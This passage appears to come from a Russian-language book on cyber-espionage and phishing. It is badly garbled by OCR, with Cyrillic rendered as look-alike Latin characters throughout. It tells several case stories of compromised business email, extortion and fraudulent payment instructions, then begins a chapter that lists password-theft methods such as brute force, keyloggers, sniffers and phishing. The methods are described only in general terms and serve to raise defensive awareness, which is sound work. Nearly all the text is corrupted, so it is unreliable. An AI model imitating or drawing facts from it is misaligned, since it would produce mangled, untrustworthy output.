MOTO OTIIPaBUTEJISI MIPUIIIO MUCbMO, CoepsKalllee AeTaabHyl0 MHGOP-
MaIIMIO O YACTHOM JKM3HM OM3HEeCMEeHa M OCYIIeCTB/ISIEMO MM KOMMep-
YeCKoJ JesITeIbHOCTY BO BCEX TOHKOCTSIX.

B muchbMe 3JI0YMBIIIIEHHMK TaKKe CO0OIIal, UTO MOy Y OJHOIO
13 JIeJIOBBIX ITAPTHEPOB OM3HECMeHA OT er0 MMEHMU JIeHEesKHbIe CpeicTBa
B paszmepe 100 Tbic. mowiapos CIIA.

Coob11eHMe comepsKajo IMpeaynpeskaeHe 0 BO3MOKHbBIX HeraTUBHBIX
s 6M3HecMeHa ITOCIeACTBUSIX B CJlydyae, ecii OH He COIJIACUTCS 3a-
IUVIAaTUTh HEM3BECTHBIM JIMIIAM JeHeXHble cpencTts B padmepe 200 ThIC.
nosutapos CIIIA.

Cy>k6a 6e30IMacHOCTM I10 YKa3aHMIO OM3HeCMeHa Hauaja IIPOBEPKY
MHGOPMALIMOHHBIX CMCTEM OpraHM3aluy U Je0BbIX MapTHEPOB.

Kaxk BbISICHUJIOCH B pe3y/bTaTe IPOBEPKU, HECKOJIbKO MeCsIeB Ha-
3a]] C JIEKTPOHHOrO SIMKa OM3HEeCMeHa B agpec OZHOIrO U3 IeJIOBBIX
IMapTHEPOB, MCIIOb3YIOIIEro eKTPOHHBIN afgpec «KaKoii-TO», MOCTY-
MaiM COOOIEeHMS, KacarmIecs: 3aKII0YeHNsT KOMMEePUYECKON CIIeIKMN.
[lepemnucka OT MMeHM OM3HeCMeHa Bejach B TeUueHMe IPOIOIKUTENb-
HOTO BpeMeHMU. B UTore Takux 1eperoBOpOB HeyCTaHOBJIeHHbIe JINIIA (OT
MMeHM OM3HecMeHa) IMPOCWIN IlepeaTh eMy uepes3 TOBepeHHOe JIUIIO0
neHexkHble cpenctBa B pasMmepe 100 Toic. gonnapos CIIA B cueT ogHOTO
M3 TPaHIeN 110 HEKOM Cheske.

ITo IOCTUTHYTOI JOTOBOPEHHOCTH OBIIO YCIIOBJIEHO MepenaTh yKa3aH-
HYIO CyMMY B oduce mapTHepa. UesloBek, MpeCTaBUBIIMIICS JOBEpPEH-
HBIM JIMIIOM, B HAa3HaUE€HHOE YMC/I0 MPUObLI B 0MC IapTHEPA U ITOTYyUMIT
IeHexXHble cpencTBa. OH Mpollies yepe3 Bce MOCThl OXPaHbl Y KamMepbl
BUIEOHAOTIONeHMSI, TTOJIyIIJI AeHEXKHbIE CPEICTBA M TAKMM Ke 00pa3omM,
y/IbIOASICh BCEM BCTPEUYEHHBIM KamepaM, IIOKMHYI OM3HeC-1[eHTp.

CrycTst HEKOTOpOe BpeMsl Ha 3JIeKTPOHHBIN ajpec OM3HeCMeHa I10-
CTYIMJIO YKa3aHHOe Bbille coobieHue. Cenom 3a 3TMM COOOIEHNEM
MOCTYIWIN MHCTPYKLMU TI0 ITpolLieaype IMpoBedeHNs iaTexeil 1 HoMe-
pa CcYeToOB [IJis1 IlepeBoa AeHEeKHbIX CPeiCTB.

Iyist miyImeit yoeguTeabHOCTY 37I0YMBIIIZIEHHUKY OTIIPaBUIN ellle TP
COOOIIeHMS, CoIepsKalX Ooee ABYXCOT BJIOKEHHBIX (aiiIoB, SIBJISIO-
HIVXCS M300pakeHUsIMM (CKpUHIIOTHI). Ha M300paskeHMsIX comepikaiach
nHbopMaIust 06 OCyLIeCcTB/IIeMOl OM3HECMEHOM JIMYHO U JIeJIOBOJ
repenycke C UCIOJIb30BaHMEM ITpUHAJIeKallero eMy 3JIeKTPOHHOIO
IOYTOBOrO aZipeca, O COOOILIEHUSIX U JOKYMEeHTaX.
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Ucmopus mpemes

[IpennpuMHMMATENb IJISI IMYHOM U J1€JI0BOI TePernucKy MCIOab30Bal
3JIEKTPOHHBIN azpec «Takoi-To». [Ipy MCIONMb30BaHMUM 3JIEKTPOHHOTO
azpeca aBTOPU3aIMIO0 OCYIIECTBJISIT TOJIBKO Uepes MmporpaMmy-6paysep,
obpaiasich Ha caifT MoYTOBOTO cepBepa. [IoYTOBbIMU KaMeHTaMu (TIPO-
rpamMMaMM) JjIs aBTOPU3aLMy Ha 3JIEKTPOHHOM aJipece He IOoIb30BasIcs,
Maposis OT IMOYThI HUKOMY He TepeaBall.

OmHMM UIOHBCKMM YTPOM Ha aOOHEHTCKMIT HOMep TTpeATpUHMMATEJST
nocTynmuiio SMS-coobieHne ¢ TpeboBaHMEM JEHEXKHBIX CPEJICTB 3a CO-
XpaHeHMe TaliHbl ero rnepenucku. [TpeanmpuHUMaTeb MPOUTHOPUPOBAT
3TO COOOIIeHNEe, TOCYMUTAB €ro CITaMOM, ¥ aBTOMATUUECKI yIaINIL.

CrycTs Mecsl, ¢ 3JIeKTPOHHOTO afipeca «TaKoTo-TO» Ha MOYTY IIpef -
MIPUHMMATEJIS TTIOCTYIIAIIO 3JIEKTPOHHOE MIChMO TT0JT 3ar0JIOBKOM «AyK-
1moH! [IpomaeTcs MacCuB MTOUTOBOTO SIIVKA, ITPUHAIIEXKAIIETO. .. ».

B maHHOM mMCbMe cofepykaiach CChIJIKA Ha pecypc (MHTepHeT-6up-
XY), TIe aIMMHUCTPATOPbI ¥ OPraHM3aTOPbI pecypca Ipejiarain BbIKy-
MTATH COAEPKMMOE IEKTPOHHOTO MTOYTOBOTO SIIMKA ITIPeATIPUHUMATEJIS,
BKJTIOUAs BXOJSIINE U UCXOAsIMe coobmenust, 3a 180 6GUTKOMHOB.

[TncbMa, comepskalye MpeaaosKeHNsT MPUoOpecTu colepskMMoe Tou-
TOBOTO SIIIMKA MPeAIPUHUMATENSI, & TaKKe OTPBIBKYU MMEPENCKU ero
6/IVDKAMIINMX TTOMOIIHUKOB 3JIOYMBIIIJIEHHUKM B KaueCTBe pPeKIaMbl
CBOEro TOBapa pasowIaii BCEM JIMIIAM M3 KOHTAKTOB, 0OHAPYKEHHbBIX
B Mepericke, a TaKKe pasMecTuiIv Ha Gupske.

MCMOPUH yemeepmasa

[Tponsomien 3ToT MHLUUAEHT ¢ opranu3anuein OO0 «YTo-To Tam», OC-
HOBHBIMM BUIAMM JIeSITEIbHOCTM KOTOPOI SIBJISIIOTCS pa3paboTka Ipo-
rpaMMHOTO obecIieueHusl, ITOCTaBKa, TeCTMPOBaHME, OOCTYKMBaHME
KOMIIBIOTEpPHOTO 060pymoBaHusl. [laHHOI opraHu3aliuei UCroab30BaICs
pacueTHbIN cueT «Iupbl», OTKPITHIN B ITAO «6aHK».

OnHakAbl, TPOBEPSIS TIPEeIOCTaBIeHHbIE OYXTaJITePOM BBIIMUCKU 110
pacyeTHBIM CueTaM, reHepaabHbIi AUPEKTOP 3aMeTWJT 3alMUCH O TPOBe-
IeHUM C paCYeTHOTO cYeTa OpraHm3aluy ABYX MOA03PUTENbHBIX Mj1aTe-
Keii: TIaTeskHoe rmopydeHme N2 235 Ha pacueTHBIV cUueT «MHOTO udp»
kommaHuu 000 «Xopoiass KommaHusi» Ha cymmy 4 083 280 py6ieit,
C yKazaHueM Ha3HadyeHUs — «oruiata no cuety N2 4205/3 1o goroBopy
355 3a cepBepHOe 1 KOMITbIOTEPHOE 0O60PYAOBaHME», TVIATEXXHOE TIOPY-
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yeHue N? 236 TOJ ke IaThl, HA PACYETHBIN CYET «MHOTO APYrux umdp»
000 «OTnuuyHast KomnaHusi» Ha cymmy 3 075 740 py6sieii ¢ ykasaHuem
Ha3HavyeHus — «orviaTa o cuety N2 4206/1 o gorosopy 41 3a cepBepHoOe
" KOMITBIOTEPHOE 0O60PYIOBaHMEY.

YunuTeiBasi, YTO OaHHbIe OpTaHM3al UM TeHepaJbHOMY AUPEKTOPY
OBV HEM3BECTHBI M IOTOBOPHBIX OTHOILIEHMI C HUMU HE MMEeIOCh, OH
TYT K€ YTOUHWJI y OyXrasTepa, OTKyaa OHa, COGCTBEHHO, MOTyYnsIa VH-
dbopmaiiyio o mpoBegeHMM IIaTeXel B afpec yKa3aHHbIX OpraHMU3aluii.

Byxrantep MosiCHUIa, YTO PEKBU3UTBI AJ151 TepPeYMCIeHUS JeHeKHbIX
CpPeACTB MOCTYIMIM Ha UCIOAb3yEeMYIO OYXTaJTepoM IOUTY C agpeca
CaMOro reHepaJIbHOTO AVPEKTOPA BMECTe C OOBIYHBIMU MHCTPYKIUSIMMU
I10 OorIare.

Opuako pekBu3nToB OO0 «Xopourasg komnauus» 1 OO0 «OTinuHas
KOMIIaHMSI», @ TAKXKe TTIOPYyUYEeHMI 110 OIIaTe YKa3aHHbIM OpraHM3alysIM
reHepasbHbIV UPEKTOP OyXTajaTepy HMKOIA He HaIpaBJIsy.

[Tocie 06HApPYKEHMS ITPOU3OLIEIIINX UHIMAEHTOB KOMIIaHMUs 0bpa-
TUIACh K TEXHUYECKUM CIIeMaJNCTaM [Jisl [TPOBEPKU MTPOTrPaMMHOIO
obecrieueHs Ha MCIIOJIb3yeMbIX KOMITbIOTEpaX. [IpoBepKka HMUUEro I0-
IO3PUTEIbHOTO HE BbISIBMJIA.

KoMmaHust Takske 06paTm/Iach C 3assBJIeHMEM Ha BO3BPAT JE€HEKHbIX
CPeICcTB B aipec 6aHKa, B KOTOPOM OTKPBIT paCYETHBIN CUET UX OpraHu-
3alMM, M K OpraHM3aumsIM — MOJIy4daTeIsiM YKa3aHHbBIX IIaTEXei.

Ucmopus namas

KpyrmHas poccuiickast KOMITaHMS Bejla [IePeroBOpPhI ¢ 3apyOesKHbIM M3T0-
TOBUTEJIEM I10 ITPUOOPETEHMIO U TTOCTAaBKE HEKOEro TEXHNUYECKOTO 000-
pyaoBaHMS CTOMMOCTBI0 oKosio 300 Thic. moutapoB CIIA, mpu aTOM 06-
MEH COOOIIEHUSIMM OCYIIECTBJISIICS TTOCPEACTBOM JIEKTPOHHOJ ITOUTHI.

[To pesynbTaTam neperoBOPOB, KOTOPbIE AJMINCh HECKOJIBKO MECSIIIEB,
OT MOCTaBIIMKA II0 JIEKTPOHHOJ MOUYTe ObLI IOJYYEH CUeT Ha OIIaTy
repBoro TpaHiia. [Tocie nipoBeneHus IiaTeXxXel MOCTaBKa B OTOBOPEH-
HbIe CPOKM OCYIIeCTBJIeHA He ObLa.

[IpencraBuTe/ib OTEYECTBEHHOI OpraHM3aliMiy, BBICTYIIAIOIIEN MTOKY-
raTtesieM, IMO3BOHMJI MOCTABIIMKY M MOCJIe OOJATOT0 pa3roBopa C Ipef-
CTaBUTeJIeM 3apyOeskHOI KOMIIAHUM He Cpa3y 0CO3HAaJI ITPOV3OIIe/IIee,
a 1ocje OCO3HaHMS OYeHb 3arpyCTuIl.

3apy6eskHbII TTOCTaBIIMK 000PYIOBaHMS ITOBEAAJ, YTO POCCHUIiCKast
KOMITaHMSI TPU Mecsilia Ha3aj, IepecTajga 00CYKIaTh YCIOBUSI IIOCTaBKU
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M OTKa3aaCb OT COEJIKM ITO0C/TI€ OTKa3a CO CTOPOHBI ITOCTaBIIVKA CHU3UTb
elle HeMHOTIO CTOMMOCTb, COC/ZIaBIIMCh Ha BbI60p APYyroro mocCTtaBIiMKa
110 6osee BBITOAHBIM YCJIOBUMAM.

Ucmopus wecmas

Taxkoro Tturma VCTOPUM YaCTO paCCKa3bIBAIOT MeauiiHbIe I1epCOHbI, N BCE
X pacCCKa3sbl, ITIOXO0XNMEe OAVH Ha ILPYI‘OI'/JI, 3By4arT l'IpI/I6J'II/IBI/ITeJ'IbHO TaK:

B Takoit-To nmepmo BpeMeH) MHe Ha 3JIEKTPOHHYIO TTOUTY MPUIIUIO TUCh-
MO, cofiepskalee IpuHajexalye MHe Gororpadum 1 mepenmcKy 4acTHO-
ro xapakrepa. [lanHas uHbopmalusi He TIpeAHa3HAvYaIaCh IJIs1 ITyOIMKaIun
U TepeiaBasiach UCKITIOUUTEbHO KOHKPETHOMY TToyJaTesio. Hukomy cBoero
CJIOSKHOTO ITapoJis K 3JIEKTPOHHOI TTouTe S He maBaja. CeromHs ¢ MeHsI Tpeoy-
IOT IepeBecTy JIeHesKHbIe CpeiCTBa Ha CUeT, MHaue 3Ta repenycka, pororpa-
dbum, Bumeosarmicy 6ymyT onmyoaMKoBaHbl B VIHTepHeTe. XaKephl yske Hadain
OTIPaBISITh HeKoTopbie hoTorpadmn B CMU 1 nuiiam M3 MOUX KOHTAKTOB...

Bo Bcex OMMCAHHBIX Bblllle TUIMMUYHBIX UCTOPUSIX 3JIOYMbBIIIJIEHHUKY
IS OCYIIIeCTBI€HMSI HeITPaBOMEPHOTO JOCTYTIA MCITOAb30BaIN (PUILINHT-
aTaku, ¥ IPaKTUUYECKU Be3e, IIe MaxHeT KMOepIInMOHakeM, OKa3bIBa-
eTcsl 3amelllaH QUILIVHT, I03TOMY K JeTajIsIM OMMCAaHHBIX IPVUMEPOB MbI
00s13aTe/IbHO BEPHEMCS TT033Ke.

[Tox mpuiiesioM HaXOASTCS YaCTHAsI XXM3Hb, TaliHA IMePEeIMCKA U Teje-
(bOHHBIX TTEPEroBOPOB, aBTOPCKME M CMeKHbIe IIpaBa, KOMMepuecKast
1 OaHKOBCKasI TaliHbl, JeHEeKHbIe CPeACTBa ¥ 6€30MaCHOCTb.

[71aBHBIM OOBEKTOM MPECTYITHBIX IMOCSITaTeIbCTB CTajlla KOMIThIOTE]-
Hast uH(pOopMaILVisl, KOTOpast MOKET IPeICTaBISTh CO00J KaK OTHeIbHbIN
daitsn, n3obpaskeHme, MporpaMMHoOe obecrieueHue, 6a3y JaHHBIX, TaK
U COBEpILEeHHO JII0ObIe CBeIeHMsI O IUIIaX, IpeaMeTax M COOBITUSIX.

Bce MHOTOOGpa3ue MeTOAOB AMHAMMYHO pa3BUBawIeics chepsl
K1OepIIpecTyIiIeHniI 00beAMHSIeT MH(pOopMaIus Bo Bcex ee MuU(ppPOBBIX
MIPOSIBJIEHUSIX.

OJIEeKTPOHHBINM ITOYTOBbIN SIIMK JIJISI MHOI'MX JIFOZIE SIBJISIETCS COCPeo-
TOUeHMeM MHOOPMAIUM O TMYHONM U IeJI0BOI KU3HU. [TyOnMIHbIe 371eKT-
POHHBIE TTOUTOBbIE CEPBUCHI CETOAHS OOBEAVHSIOT IO, OMHMUM aKKayH-
TOM MHOXECTBO I10JIe3HBIX 151 YeJI0BEKa JOMOJTHUTE/IbHbIX CEPBUCOB.

[ToyuuB AOCTYT K OHOJ JIUIIIb 3JIEKTPOHHOJ TOYTEe, 3JI0YMbIIIIEH-
HUK MOJTYYUT JOCTYH M K OOJIaUHBIM XpaHuaumam (aitioB (4OKyMeH-
TOB, ITporpaMm u dortorpaduit), cpeacTBaM yIpaBaeHUs 3JIeKTPOHHbBIMU
cUYeTaMu, JaHHBIM C MOOMUJIbHBIX YCTPOMCTB, IMMOJK/ITIOUEHHBIX K YUETHOI
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3anmucu. Y 37I0yMbIIIVIEHHMKA B PyKax Takke OKaskeTcsi MHbopmalus
0 KpyTe 0OIIeHNsI, HAMEeUEeHHbIX TIaHaX, PacIopsAKe JHS, MapuIpyTax
repenBUsKeHNUS. ..

Kakoe mpecTyrieHue mocjienyeT 3a HelIpaBOMEPHBIM IOCTYIIOM
K KOMITbIOTEPHO¥ MHGOpMAaILUM, 3aBUCUT OT TOTO, KaK OHa OymeT uc-
M0JIb30BaHa 3JIOYMbIILIEHHMKOM.

CylllecTByeT MHOXeCTBO 3aKOHOB, 3allIMINAIMX MHPOPMAILKIO, OT-
HOCS ee K pasjJMYHOro poja TaiiHe — KOMMepUYecKoii, 6aHKOBCKO, Bpa-
yebHOI1, HOTapuabHO M MHOTUM Apyrum. Ho ecin mHpopmalus umeer
KOMIIBIOTEPHOE TIpeCTaBlIeHye, IMTOMYYUTh JOCTYII K 3TOM TaiiHe 4acTo
CTAaHOBUTCS B PaBHOI CTEIeHU MPOCTO, HECMOTPS Ha ee TUIl.

WHCTpYyMeHTBI [J1sI COBEPIIEHMS] KOMITbIOTEPHBIX MPECTYIUIEHUIA T10-
CTOSIHHO BUJOM3MEHSIIOTCS, MCIIOAb3YIOTCS 110 OTAEeIbHOCTU MU 00b-
eIUHSIOTCSI B KOMILJIEKCHI.

[Iporpecc poxkaaeT HOBbIE BUAbI IPECTYIIEHWUIA: Y UeJIOBEKA MOSIBAJI-
Cs1 aBTOMOOWJIb — YKpasiyu aBTOMOOW/Ib, TTOSIBMIACh KOMITbIOTEpHAs MH-
dbopmanus — ykpaau napopmMmaumio.

Macmitabbl KM6epIpecTyImHOCTY M TEeHIEHLMM POCTa MPU3HAIOTCS
¥ HEOHOKPATHO O3BYUMBAIOTCS, TaK, ['eHepa/sibHbIN ITPOKYpop Poccuii-
ckoin @epepauuu Opuit Yaiika, npuaumMas ydyactue B III BcTpeue py-
KOBOJMTEJIe MPOKYPOPCKUX CIyk6 rocygapctB BPUKC, rocBsiieHHO
BOITPOCAM IPOTUBOJEICTBIUS KMOEPIIPECTYITHOCTH, OTMETII, YTO B Poc-
curickor ®epepauny YnCIO0 MPeCcTyIVIeHNI, COBEPIIaeMbIX C UCII0/Ib30-
BaHMEM COBpeMeHHbBIX MH(OPMaIMIOHHO-KOMMYHUKAI[MOHHBIX TEXHO-
soruit, ¢ 2013 o 2016 rox yBenmMumnaoch B 6 pa3 (¢ 11 Tbic. 10 66 TbIC.) .
[To naHHBIM OULIMATBbHON CTATUCTUKY, B Poccuu 3a mepBoe mosryroaye
2017 roga ymiep6 coctaBu 6onee 18 muH moytapos CIIIA.

3a Bceil JIaBMHOOOPA3HOI HACTYNATeIbHOCTHIO KMOEPITPeCTYITHO-
CTU CKPBIBA€TCSI MHOT'O IMPUUYNMH, HO OCHOBHAS U3 HUX — OYE€Hb HU3KUIA
YPOBEHb PUCKA ISl TIPECTYITHMKA OBITh MOVMaHHBIM M HaKa3aHHbIM.
OTBeThl HamMparuein KM6eprIpecTyImHOCTY CO CTOPOHBI aTaKyeMOro
ob611ecTBa, KOMITAHMIA ¥ TOCYIapCTBa JAIOTCS HEBHSITHBIE, TOPOJi Iopa-
3UTEJIbHbIE, NaXKe CMeIlHbIe.

Ot kMbepIInmMOHaXka HET YHMBEPCATbHBIX CITOCOO0B 3a1UThl. OT HETO
HeJIb3$1 CIIaCTUCh, HAHSB OXPaHy WUJIM 3aTPATUB MaCCy NEHEXKHBIX CPECTB
Ha MMPOTrpaMMHO-aIrnapaTHble CpeacTBa.

L https://genproc.gov.ru/smi/news/news-1237284/.


https://genproc.gov.ru/smi/news/news-1237284/

WECTb TUMWUYHBIX UCTOPUIA 19

—————————————

s 9¢pdeKTUBHOI 3aIIMUThI OT KMOEePIINMOHaXKa HEOOX0IMMO 3HATh
0 ero MeToJlax ¥ MCTOYHMKAX Yyrpo3bl. V1 uem Gosiblile 3HAHUI O MeTOIax
K1OepIIoHaXka, TeM MeHbIIe BePOSTHOCTh CTaTh €ro KePTBOIA.

[TosTomy 2¢ddeKTUBHbIE CIIOCOObI HECAHKIVOHMPOBAHHOTO JOCTY-
na K uHbopMalum 1 gajabHelllee ee HEIIPaBOMEpPHOE MCITO0Ib30BaHMe
" €CTb IpeMeT 00CYKIeHUST 9TOV KHUTHA.

MbI ITOTOBOPYUM O TOM, UTO ITOMOTAeT Pa3BMBATbCS KMOEPIIpeCcTyILIe-
HMSIM, KaK C 9TMM BemeTcst 60pbba M Kak 4acTo 3Ta 60pbba mmomoraeT
MPOIBETATh 3/I0YMBIIIVIEHHMKAM.

O6CykIaTh 3TO HYKHO ellle ¥ IOTOMY, UTO ITyraiolie TeHIeHIUN
3aKOHOTBOPYECKOTO Pa3BUTUS MOCTETHUX JIET MOTYT IMPUBECTU HAC
B CBeTJIOe Oymyliee 6e3 CBOOOMTHOrO MHTEPHETa M BCEii ero ymoOHOIi
(DYHKIMOHATBHOCTH.

[IpuHMMAas BO BHMMaHMe, YTO HA CETONHSIIIHUI TeHb QOUIIMHT SIBJISI-
eTCS OMHUM M3 CaMbIX PAaCIIPOCTPAHEHHbIX U 3Gb(EKTUBHBIX METOOB,
HaIlpaBJeHHBIX Ha XUIIEeHMe MTepCOHATbHbBIX JaHHbBIX M BOOOIIE 000
MHbOpPMAaIMM OTPAHNMYEHHOTO JOCTYIIA, & TAKXKe MCIIONb3yeTCsl B pas-
JIMYHBIX KOMOVHAIMSX TTPY KOMITJIEKCHBIX KibepaTakax, STOMY METOIY
B KHUTe OyIeT yaeJeHO MaKCMMyM BHUMaHMS.

Voenus 3acIy>keHHOe BHUMaHMe QUIIMHTY, pa300paB ero o KOCTo4-
KaM, MOKHO OyZIeT IMPUCTYIUTb K paCCMOTPEHUIO OCHOBHBIX KOMOWHA-
LIMIA ero MCIOoJIb30BaHMsI, IPUUMH €ro HeBepOosSITHOM 3(heKTUBHOCTH,
XapaKTepUCTMKe METOAA KakK IPeCcTyIIeHUs, U3YUYUTh ITPaBOOXpPaHM-
TeJTbHbIV Y 3aKOHOAATEeIbHbIN B3IJISII Ha SIBJIeHME, ITPOaHAIM3MPOBATh
MIpMMeHsIeMble METOIbI ITPOTUBOAEMCTBUSI U 3aIIUTHI.

B 3aK/IIOUeHNM KHUTYU MMPeACTaBIeH aKTyaJbHbIII aHAAU3 YEPHOTO
pPBIHKA MH(POPMAIIMOHHBIX YCIYT, KOTOPBIN MTPOIIBETAET U ITOPAsKaeT CBO-
MM aCCOPTMMEHTOM JIasKe CITeIMaICTOB.



[JTIASA 1

XULLEHME NAPONEMN
)IOM OULLMHI-ATAK

XoIpl KpUBbIE POET
[Tog3eMHBIi YMHBIN KPOT.
HopwmanbHbie repou
Bcerma ugyTt B 06x0/I.

B.H. Kopocmuines.
«HopmasibHbIE TEpOU»

HeripaBoMepHbIi AOCTYIT K KOMITbIOTEPHOI MHPOPMAalLMM MOXKET OCY-
IIeCTBJISITbCS C Pa3jIMUHBIMMU LieJsSMMU: TPOHMKHOBEHMe B KopIliopa-
TUBHbIE CE€TU, COBepIllaeMOe OTAeTbHbIM XakepoM IO 3aJJaHNI0 KOHKY-
PEHTOB, KaK 4aCTh KOMOMHMPOBAHHOW KMbGepaTaky C 1eIbI0 XUIIEeHUS
IeHeXXHbIX CPe/ICTB, UJIM B3JIOM 3JIeKTPOHHOTO IMOYTOBOTO SIIyKa J1b60
aKKayHTa COIMa/IbHOJ CeTH 10 3aKa3y peBHUBOI'O CyIIpyra Uiy 4aCTHOTO
IeTeKTUBa.

Memoobl HeCaHKUUOHUPOBAHHO20 NOJTyYeHUS NApPOs

B m1060M citydae, oaydyeHne CKPbITOTO HeCAaHKIIMOHUPOBAHHOTO IOCTY-
a K COOEepKMMOMY JIeKTPOHHOM IMOYTHI MM JOCTYI K YUETHOM 3aIu-
cu J1I060r0 APYroro OHJIaiH-cepBuca (aKKayHTa B COLMATIbHOM CeTH,
JIMYHOTO KabyuHeTa) MOKHO TeOpeTMUYeCKM peaan3oBaTh HECKOMbKUMMU
OCHOBHBIMU CIIOCOOaMMU:
1) metomom moa6opa naposs (brute-force), BKitovast pyuyHoii yTONM-
YeCKMI BapMaHT, a TaKKe MCII0/Ib30BaHMe MHOTOUMCI€HHBIX IIPO-
rpamMM, peaau3yrIINX aTaky Mo CJI0BapsSM U TMOPUIHbIE aTaKu;
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2) TOCpeACcTBOM BpPEeAOHOCHOV IMpPOrpamMMbl, UCIIOJHSIEMON Ha
KOMITBIOTEPHOM OOOPYHOBaHUM KePTBbI (KOMIIbIOTEpPE, HOYTOY-
Ke, MOOWIbHOM TesiepoHe), BHeIPsieMOi1 yIaJleHHO;

3) mocpenCcTBOM BpeAOHOCHOV IMpPOrpamMMbl, UCIIOJHSIEMON Ha
KOMIIbIOTEPHOM 000pyIOBaHMUM (KOMIIbIOTEpE, HOYTOYKE, MO-
OMIBbHOM Tesie)OHE) KePTBbI, IIPU (PU3UUYECKOM JOCTyIEe K 000-
PYZOBaHMIO TTOb30BATEIS;

4) T1yTeM UCII0Ab30BaHMs MporpaMmmMHubIX yTuaut (HackTool) mpu
(dbusmueckoM 0CTyIe K KOMIIbIOTEPHOJ TEXHMKe I10/Ib30BaTes;

5) ycTaHOBKOII crielaabHbIX TEXHMYECKUX CPeNCTB — allapaTHbIX
KejyiorepoB!, mpu Gu3mMueckoM IOCTyIle K KOMITbIOTEPHOM TeX-
HMKE I10JIb30BaTes;

6) B pe3y/bTaTe repexsara U pacuindbpoBKM Tpaduka IporpaMmma-
My — cauddepamu (Sniffer), ananuzaropamu Tpadbuka, mpm He-
MOCPEeACTBEHHOM AOCTYIIE K JIOKAJbHOM CETU I0Jb30BaTeIs;

7) WCMIOJIb30BaHMEM TEXHUUYECKUX YSI3BUMOCTEN MPOrpaMMHOTO
obecrieueHus;

8) opraHusaimein GUIIMHT-aTaKN.

OCHOBHbBIE METOZbI MOJYyUYeHUs Mapossl JOCTyMa MpeACcTaBJIeHbl Ha

puc. 1.1.

MeTtopn, nog6opa mapoist (brute-force) B HacTosiee BpeMs: Majio yem
romMoskeT. MHOTOJIeTHSISI TporaraHjia, Mpu3bIBaoIasi Co34aBaTh CJI0KHbIE
MapoJn, Cenaaa-Taku CBOe J1eJ10, U MOIb30BaTe/M CTa/I OCTOPOXKHEE TP
BbIIYMbIBaH HEBEPOSITHO CJIOXKHBIX TTapoJieit, COCTOSIMX U3 OYKB pas-
JIMYHOTO peructpa u nyudp. dTa MbICIb BOMTA B TOJIOBY MHOTOUMC/IEHHBI-
MM COBETaMU CIIELMATNCTOB C 9KPAHOB TeIeBMU30pa U KOJIOHOK >KypHAaJIOB.

IeiicTBUTEIBHO, HEKOTOPOE BpeMs Ha3aj GOJIbIIMHCTBO IOTb30Ba-
TeJiell MCI0JIb30BaJIO JOBOJIBHO MPOCThIE MAapOJIN, IIPeICTaBIISIONIME CO-
6071 pa3MyHble MaMsITHbIE JAThl, Yallle BCErO AHU POXAEHMS, KINUKA
IOMAaIllHUX XKMBOTHBIX, HOMepa Tesie)OHOB MM HAGOP CTOSIIIUX PSIIOM
KHOIIOK KJaBuaTypbl. OCHOBBIBASICh HAa TaKMX MpPeANOUYTEeHUSIX 00Jb-
IIVMHCTBA M0Ib30BaTeJIel, 3JI0YMBIIIJIEHHUKAMM IOBOJIBHO OBICTPO ObUIN
CreHepMpOBAHbI TaK Ha3bIBaeMble CJIOBAPU, TPefHA3HAUEHHbIE JJIsI OCY-
IIECTBJIEHMSI TI0 HUM aTaky — IoAdopa MmapoJist C MCII0/Ib30BaHMEM CITe-

! Keitnorep (OT aHIV. key — KyaBuIlia u logger — perMCTpUPYIOIee YCTPOICTBO) — pea-
JM30BaHHbBIN B BUAE MMPOTPAaMMHOI0 OOecreueHus] Wiy allapaTHOTO YCTPOCTBA
MHCTPYMEHT PeruCcTpalyy ¥ XpaHeHUs IeCTBUIA TTOIb30BaTeNsl, TAKMX KaK HaxKa-
TMe KJIaBUIII HA KJIaBUaType ¥ MaHUITY/ISIIIUYU C MBIIIbIO.
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LIMaIbHBIX ¥ JOBOJIbHO IIPUMUTUBHBIX IPOrPpaMMm, KOTOpPbIe aBTOP MiucCaj
B CpefHel 1IKoJIe.

.

ﬁ Mpu pocTyne K NOKanbHOM ceTu \\

!

III: l lll
I |

Puc. 1.1. Cnocobbl HECAHKUUOHUPOBAHHO20 NOJTYYEHUS y4emHbIX OGHHbIX

MeTop mosyyeHusI aposs ImyTeM Imoaoopa 1o cJioBapio win repebopa
CHMMBOJIOB IIpMMeHsIeTCs U cerofHs. K npumepy, OH 4acTO UCIOIb3YyeTCs
ILJIST TIOJTyYeHMST TOCTYTIa K KOPIIOPaTMBHBIM caliTaM He60IbIINX KOMIIA-
HUIA, KOTOpbIe paboTalOT Ha 6eCIIATHBIX TTOMY/ISIPHBIX ABMUKKAX, VTN JIJIs
TTOJTyYeHMSI TOCTYIIa K MHOTOUYMC/IEHHBIM MHMOPMAaIIMOHHBIM CHUCTEMAM.

Takoit MeTo[ MCIIONb3yeTCsT TakkKe JIsI BCKPBITUST 3aIMUIEeHHbIX T1a-
pojieM apXuBOB, MMOTYYeHMSI YIAJIEHHOTO IOCTYIIa K OTlepaliiOHHbIM CH-
cremaM, Haripumep o RDP!, BckpbITHs 3amndbpoOBaHHBIX TOMOB UJIN
(daitsioB Ha HOCUTEJISIX KOMITbIOTEPHO MHGbOPMAIIVNA.

! RDP, auri. Remote Desktop Protocol — IpOTOKOJI YAaJIeHHOTO paboyero CToja.
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[Tpu 3TOM MeTO[, MoA60pa Maposisi 3aHKUMaeT MHOTO BpeMeHM, a eCin
y4ecTb, UTO MOMAJICS MMapojib He U3 CI0Bapsi, TO ITOT IpoIecc rmoadopa
MOXeT 3aHSTh JHU, HeOenu, Mecsipbl, roabl. OGHAKO HYKHO OTMETUTb,
yTO NMpodeccroHaJIbHBIMM B3JIOMIIMKAMM MUCIIOAb3YIOTCS O/ aTaku
pacripefe/ieHHbIe CpeNCTBa, pa3MellleHHble Ha HECKOJIbKUX pecypcax
1 obsajaloliyie 3HaUMTEeIbHBIMM BBIUMCIUTEIbHBIMY MOIIHOCTSIMHA,
CITOCOOHBIMM BCKPBIBAaTh METOAOM MOAOOpa Aaxke 3aludpoBaHHbIE
C UCIIOMb30BaHMeM Kpuntorpadum faHHble, He TOBOPS yKe O cepBepax,
ceTeBOM obopymoBauuu i CMS-cucremax. Ho 3TO MCK/ITIOUUTEbHBIE
CIyyan.

YCTaHOBJIEHHBIE CUCTEMbI GJIOKMPOBKM T0JIb30BaTeNeil U pecypcoB
I0C/Ie MHOTOKPATHBIX IMOTBITOK HEYJAYHbIX aBTOPU3ALIMIA CAeaau pu-
MeHeHlMe MHOTUX ITIPOrpaMM U CKPUIITOB, TpeAHa3HauUeHHbIX [/ OpyT-
dbopca wiau rubpUaHONM aTaku, IIPAKTUIECKN OeCIioe3HbIMU.

